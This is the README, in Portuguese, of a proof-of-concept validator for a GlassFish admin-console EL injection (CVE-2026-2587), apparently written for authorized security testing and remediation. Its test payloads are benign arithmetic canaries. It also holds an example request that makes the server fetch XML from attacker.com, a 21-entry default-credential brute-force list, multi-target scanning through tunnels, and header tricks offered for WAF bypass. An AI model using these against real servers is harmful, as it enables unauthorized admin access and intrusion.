
Validador de PoC CVE-2026-2587 para Eclipse GlassFish EL Injection RCE no manipulador gadget.jsf do console de administração. Scanner de vulnerabilidades autenticado e seguro para testes autorizados.
Validador PoC seguro para CVE-2026-2587, uma vulnerabilidade crítica de Injeção EL / RCE que afeta o tratamento de gadgets do console de administração do Eclipse GlassFish via /common/gadgets/gadget.jsf.
Esta ferramenta ajuda equipes de segurança a validar a exposição ao CVE-2026-2587 do GlassFish em ambientes autorizados usando um canário EL aritmético benigno.
Atribuído por: Eclipse Foundation (CNA) · Publicado: 19 de maio de 2026 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — Injeção de Linguagem de Expressão Versões afetadas:Desconhecidono aviso público até 21 de maio de 2026 Versões corrigidas:Desconhecidono aviso público até 21 de maio de 2026 Regra do scanner: a versão é apenas contexto de roteiro/relatório; o veredito requer prova.
Existe uma vulnerabilidade crítica de Execução Remota de Código no manipulador de gadgets do console de administração do GlassFish. A aplicação processa arquivos .xml buscados a partir de uma URL fornecida via parâmetro de consulta gadget= e avalia valores fornecidos pelo usuário dentro de atributos <ModulePrefs> através do mecanismo de Linguagem de Expressão Java (EL) sem sanitização ou escapamento.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Se o XML contiver `#{7*7}` em um atributo `<ModulePrefs title="">`, o GlassFish o avalia no lado do servidor e retorna `49` — confirmando a execução de EL. Uma cadeia completa de RCE segue através do acesso da EL ao runtime Java.
Os registros públicos de consultoria atuais não publicam um limite de versão afetada ou corrigida. Portanto, este validador é baseado em prova: ele identifica o GlassFish e relata metadados de versão, mas não classifica um alvo como vulnerável apenas a partir de uma string de versão.
---
## Como Funciona

O caminho de validação seguro hospeda uma sonda XML benigna, envia uma solicitação autenticada de console de administrador para `gadget.jsf`, permite que o GlassFish busque esse XML da URL de retorno de chamada e verifica se o canary `<ModulePrefs title="">` avalia de `#{7*7}` para `49`.
**Ponto de injeção confirmado vs. não:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
O vetor CVSS PR:N / UI:R significa:
PR:N — o atacante não precisa de credenciais própriasUI:R — um admin logado deve interagir (entrega CSRF)Para validação em laboratório, pule o CSRF completamente — use sua própria sessão de admin diretamente.
Requisitos: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Conteúdo do repositório:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Aviso: O GHSA ainda lista versões afetadas e corrigidas como desconhecidas.
omnifish/glassfish:7.0.15é um forte candidato para laboratório — não uma compilação garantidamente vulnerável. A primitiva de validação permanece o verificador aritmético: se#{7*7}for igual a49, a EL está ativa.
docker compose -f docker-compose.lab.yml up
Inicia o GlassFish 7.0.15 com portas vinculadas apenas a `127.0.0.1` e `host.docker.internal` pré-configurado para que o container possa alcançar seu servidor XML local.
### Opção B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Console de administração: https://localhost:4848 · Login: admin / admin
(Certificado autoassinado — aviso do navegador é esperado.)
Em um segundo terminal:```bash
python3 -m http.server 8000 --bind 0.0.0.0
Verificar a acessibilidade da perspectiva do contêiner:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
Faça login no console administrativo primeiro (sessão do navegador ou --cookie), depois:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| Output | Meaning |
|---|---|
| `CVE2587_TITLE_49_END` | **Vulnerável** — EL avaliado em `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **Vulnerável** — EL avaliado no corpo CDATA |
| `CVE2587_TITLE_#{7*7}_END` | Não vulnerável / EL não avaliado |
| *(no output)* | GlassFish nunca buscou o XML — verifique a acessibilidade do callback |
> O corpo CDATA normalmente permanece bruto mesmo em builds vulneráveis; um resultado `TITLE` positivo por si só é suficiente para confirmar a descoberta.
### Validação automatizada contra o laboratório local```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
O repositório já vem com probe.xml pronto para uso. Você também pode gerar um novo a qualquer momento — útil quando você deseja um prefixo canary personalizado ou valores aleatórios para que a sonda seja única por engajamento.```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
Saída após escrever em um arquivo:```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
Use quando o GlassFish estiver rodando localmente ou no Docker na mesma máquina.
Pegue seu JSESSIONID nas DevTools do navegador → Application → Cookies enquanto estiver logado no console de administração, então:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `host.docker.internal` resolve para a máquina host de dentro do Docker.
> O contêiner GlassFish busca seu XML de sonda através deste endereço.
---
### Credenciais```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
Se o login do formulário falhar, o script continua e tenta o endpoint mesmo assim. Se isso também falhar, ele exibe instruções passo a passo para obter um cookie de sessão.
Quando você não tem nenhuma credencial, --brute tenta 21 comuns GlassFish padrão
pares de credenciais em ordem e usa o primeiro que for bem-sucedido.
Mutualmente exclusivo com --username e --cookie.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose
Se um par válido for encontrado, é impresso na saída e registado na coluna `brute_creds` do CSV. Se todos os pares falharem, a verificação termina com `AUTH_REQUIRED`.
Algumas builds do GlassFish retornam `/login.jsf` após um POST de formulário válido. O validador não trata essa URL isoladamente como falha; ele confirma a sessão sondando o endpoint do gadget de administração e verificando se a resposta não é o formulário de login.
Lista de credenciais testadas (por ordem):
| Nome de Utilizador | Palavra-passe |
|---|---|
| `admin` | `admin` |
| `admin` | *(vazio)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |
---
### Remoto via Cloudflare Tunnel
Nenhuma conta necessária para um túnel rápido.
**Passo 1 — Instalar cloudflared:**```bash
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
Passo 2 — Iniciar túnel:```bash
cloudflared tunnel --url http://localhost:8000
**Passo 3 — Execute o validador:**
Use o mesmo nome de host gerado com `http://` para a URL de callback. Isso evita
falhas no trust-store da JVM em contêineres de laboratório GlassFish que não conseguem validar
a cadeia de certificados TLS do Cloudflare. Se você colar a URL `https://`
trycloudflare gerada, o validador reescreve esse callback para `http://` e exibe
um aviso. A barra final é opcional; o validador anexa automaticamente `/canary.xml` e
os caminhos XML específicos de cada teste.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Use quando não puder executar um servidor local. A JVM GlassFish alvo deve ser capaz
de buscar esta URL diretamente, então HTTP simples em um VPS/servidor web confiável é
frequentemente mais confiável do que hosts HTTPS cuja cadeia de certificados não é
confiável para a JVM alvo.
A flag --xml-url ignora completamente o servidor embutido.
Gere um XML de sonda novo e então hospede-o:```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `--prefix`, `--left`, `--right` devem corresponder aos valores dentro do seu arquivo XML hospedado
> para que o script saiba qual token avaliado procurar na resposta.
---
### Remoto via ngrok (último recurso)
Use ngrok apenas como última opção para alvos remotos. O nível gratuito pode bloquear
requisições do lado do servidor que não venham de um navegador, retornando uma página
de aviso HTML intermediária. Nesse caso, o GlassFish busca a página de aviso em vez do
seu `probe.xml`, e o validador pode classificar a resposta como uma página de login ou
resultado inconclusivo. Prefira Cloudflare Tunnel, um VPS ou um host web estático que
a JVM de destino possa buscar limpiamente, a menos que você tenha uma conta paga do ngrok
que ignore essa restrição.
**Passo 1 — Instalar ngrok:**```bash
# macOS
brew install ngrok
# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
Passo 2 — Exponha seu servidor local:```bash
ngrok http 8000
**Passo 3 — Execute o validador:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Substitua
abc123.ngrok-free.apppela sua URL ngrok real. O script inicia seu próprio servidor XML em:8000; o ngrok encaminha da internet para ele.
Teste se o endpoint está acidentalmente exposto sem autenticação antes de fazer
uma varredura completa autenticada. Sai imediatamente após a Fase 1.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure
---
## Uso — Múltiplos Alvos
### Formato do Arquivo de Alvos
O repositório inclui `targets.txt.example` como modelo. Copie e edite-o:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers
Formato — um alvo por linha, linhas começando com # e linhas em branco ignoradas, credenciais por alvo sobrescrevem as globais --username/--password:```
https://server2:4848 admin password123 https://server3:4848 ops secret99
https://server4:4848 admin:admin
Executar contra todos os alvos:```bash
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--insecure \
--csv results.csv
Global
--username/--passwordaplica-se a alvos sem credenciais por linha. Credenciais por linha têm prioridade sobre as globais.
Use --threads para escanear múltiplos alvos simultaneamente.
O servidor XML integrado é compartilhado entre todas as threads.```bash
python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json
> Contagens de threads recomendadas:
> - Laboratório local: até `10`
> - Alvos remotos pela internet: `3–5` (respeite limites de taxa)
> - Alvo único: `1` (padrão)
---
## Formatos de Saída
### Console
Saída legível por humanos padrão. Adicione `--verbose` para ver resultados por caso de teste.```
────────────────────────────────────────────────────────────────
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
Version : Eclipse GlassFish 7.0.15 [asadmin-api] (affected: UNKNOWN)
Console : present | Gadget: present | Proof: evaluated
[+] VULNERABLE — 9/10 test cases confirmed
[+] TC-01 Basic multiply #{7*7} → 49
[+] TC-02 Addition #{1337+2587} → 3924
[+] TC-03 Large multiply #{31337*271} → 8492327
...
Remediation: restrict admin access and apply vendor-published fixed builds when available.
Resumo de múltiplos alvos:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════
---
### CSV```bash
# Write to file
--csv results.csv
# Write to stdout (pipe-friendly)
--csv -
Colunas CSV:
Exemplos de linhas:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired
### JSON```bash
--json
Alvo único:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }
Múltiplos alvos retornam um array JSON.
---
### Combinando Saídas
Todos os formatos de saída são independentes — combine livremente:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 5 --insecure --verbose \
--csv results.csv \
--json > results.json
Por padrão, o scanner testa o caminho do gadget compartilhado do GlassFish sob as raízes comuns da GUI de administração:```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf
Também aprende uma raiz de contexto GUI não padrão a partir dos cabeçalhos de redirecionamento `Location` e adiciona essa raiz antes do teste. Use valores repetíveis `--path` apenas quando quiser substituir esta lista de descoberta.
A detecção de versão é tentada a partir dos cabeçalhos de resposta, da API REST de gerenciamento, da página de login e, após um login bem-sucedido, de `/__asadmin/version.json` ou `/__asadmin/version`. Os dados de versão melhoram apenas o roteamento e o relatório; o scanner deixa `version_affected` como `UNKNOWN` até que registros de aviso público publiquem um limite de versão.
---
### Valores Canário Personalizados
Corresponda o validador a um XML artesanal usando `--prefix`, `--left`, `--right`. Necessário ao usar `--xml-url` com seu próprio arquivo hospedado.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/custom.xml \
--prefix MYTEST --left 13 --right 17 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Adicione cabeçalhos arbitrários — útil para bypass de WAF, roteamento de balanceador de carga ou teste atrás de um proxy reverso.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure
---
## Casos de Teste
O validador executa 10 sondas EL distintas, cada uma confirmando uma capacidade diferente:
| # | Payload | Esperado | O que prova |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Canário aritmético de base |
| TC-02 | `#{1337+2587}` | `3924` | Operador de adição |
| TC-03 | `#{31337*271}` | `8492327` | Multiplicação grande resistente a colisões |
| TC-04 | `#{9999-1337}` | `8662` | Operador de subtração |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Parênteses aninhados / precedência de operadores |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Condicional / ternário — fluxo de controle executado |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | Acesso a método de string |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Chamadas de método encadeadas |
| TC-09 | `#{17 mod 5}` | `2` | Operador de palavra-chave EL |
| TC-10 | `#{100*100}` | `10000` | Confirmação aritmética adicional |
TC-06, TC-07 e TC-08 são os mais significativos — passar esses significa que o mecanismo EL executa **métodos de API de string e lógica condicional**, o precursor direto para a cadeia completa de RCE.
---
## Interpretação da Saída
| Status | Significado |
|---|---|
| `VULNERABLE` | Expressão EL avaliada — instância confirmada afetada |
| `VULNERABLE_UNAUTH` | Endpoint exposto sem autenticação — pior que o CVE base |
| `NOT_VULNERABLE` | Expressão refletida literalmente — EL não avaliada |
| `AUTH_REQUIRED` | Endpoint retornou página de login — verifique cookie ou credenciais |
| `INCONCLUSIVE` | Resposta recebida mas canário não encontrado — veja abaixo |
| `ERROR` | Requisição falhou — problema de rede / TLS |
`detected_version` e `version_source` são contexto de suporte. Como os
avisos públicos atualmente listam versões afetadas e corrigidas como desconhecidas, não trate
`version_affected=UNKNOWN` como um resultado negativo. A única constatação positiva é um
token de prova avaliado.
**Solução de problemas INCONCLUSIVO:**
| Sintoma | Causa | Correção |
|---|---|---|
| `XML hits: 0` | GlassFish nunca buscou seu XML | `--callback-url` não acessível a partir do alvo |
| `XML hits: 1+` mas sem correspondência | EL avaliado mas campo errado | Esperado para conteúdo CDATA |
| Redirecionamento de autenticação no meio da execução | Sessão expirada | Pegue um novo `JSESSIONID` do navegador |
| Login POST redireciona para `j_security_check` | Senha incorreta | Use `--cookie` em vez disso |
---
## Verificação Manual
Nenhum Python necessário:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
<ModulePrefs title="PROBE_#{7*7}_END"/>
<Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF
# Step 2 — serve it
python3 -m http.server 8000 --directory probe &
# Step 3 — hit the endpoint with your session cookie
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
| grep -oE 'PROBE_[^"< ]+_END'
# Vulnerable output:
# PROBE_#{7*7}_END ← raw (CDATA — expected)
# PROBE_49_END ← evaluated ✅ VULNERABLE
Este repositório é apenas para testes de segurança autorizados e pesquisa.
Layout do repositório:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md
---
<p align="center">
<a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
| Cenário | Autenticação necessária? |
|---|
Hit direto em gadget.jsf | Sim — autenticação FORM, página de login 200 |
| Ataque CSRF no mundo real | Não — weaponiza a sessão ativa do admin |
| Este validador | Sim — --cookie ou --username/--password |
| Verificação de exposição não autenticada | Não — o script testa isso automaticamente |
| Coluna | Descrição |
|---|
target | URL alvo |
timestamp | Horário da varredura no formato UTC ISO-8601 |
verdict | VULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR |
vulnerable_count | Número de casos de teste que confirmaram a avaliação EL |
total_tests | Total de casos de teste executados |
unauth_exposed | YES se o endpoint respondeu sem autenticação |
active_endpoint | URL do endpoint que foi usado para teste |
server_header | Cabeçalho Server: do GlassFish |
detected_version | String de versão se identificada |
version_source | Fonte do valor da versão: cabeçalho, página REST/login ou asadmin-api |
version_affected | Status da versão de aviso. Atualmente UNKNOWN porque as faixas afetadas/corrigidas públicas não são publicadas |
admin_console | present, not_found ou unknown |
gadget_endpoint | present, blocked, not_found ou unknown |
proof | evaluated, not_evaluated ou not_attempted |
TC-01 … TC-10 | Resultado por teste: VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED |
notes | Mensagem de erro se a varredura falhou |
| Ação | Detalhes |
|---|
| Atualização | Aplique a versão corrigida publicada pelo fornecedor quando Eclipse/NVD/GHSA publicar um limite de versão corrigida |
| Desabilitar manipulador de gadget | Bloqueie /common/gadgets/gadget.jsf no WAF/firewall se não estiver em uso |
| Console de administração do firewall | Restrinja a porta 4848 apenas para IPs confiáveis |
| Proteções CSRF | Garanta o atributo SameSite do cookie nas sessões de administração |
| Regra WAF | Bloqueie #{ e ${ nos corpos XML que chegam ao endpoint do gadget |
| Recurso | Link |
|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| GitHub Advisory (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| Eclipse CVE Tracking | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| Eclipse GlassFish Source | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| Relator | Camilo G. (DeepSecurity Perú) — @SeguridadBlanca |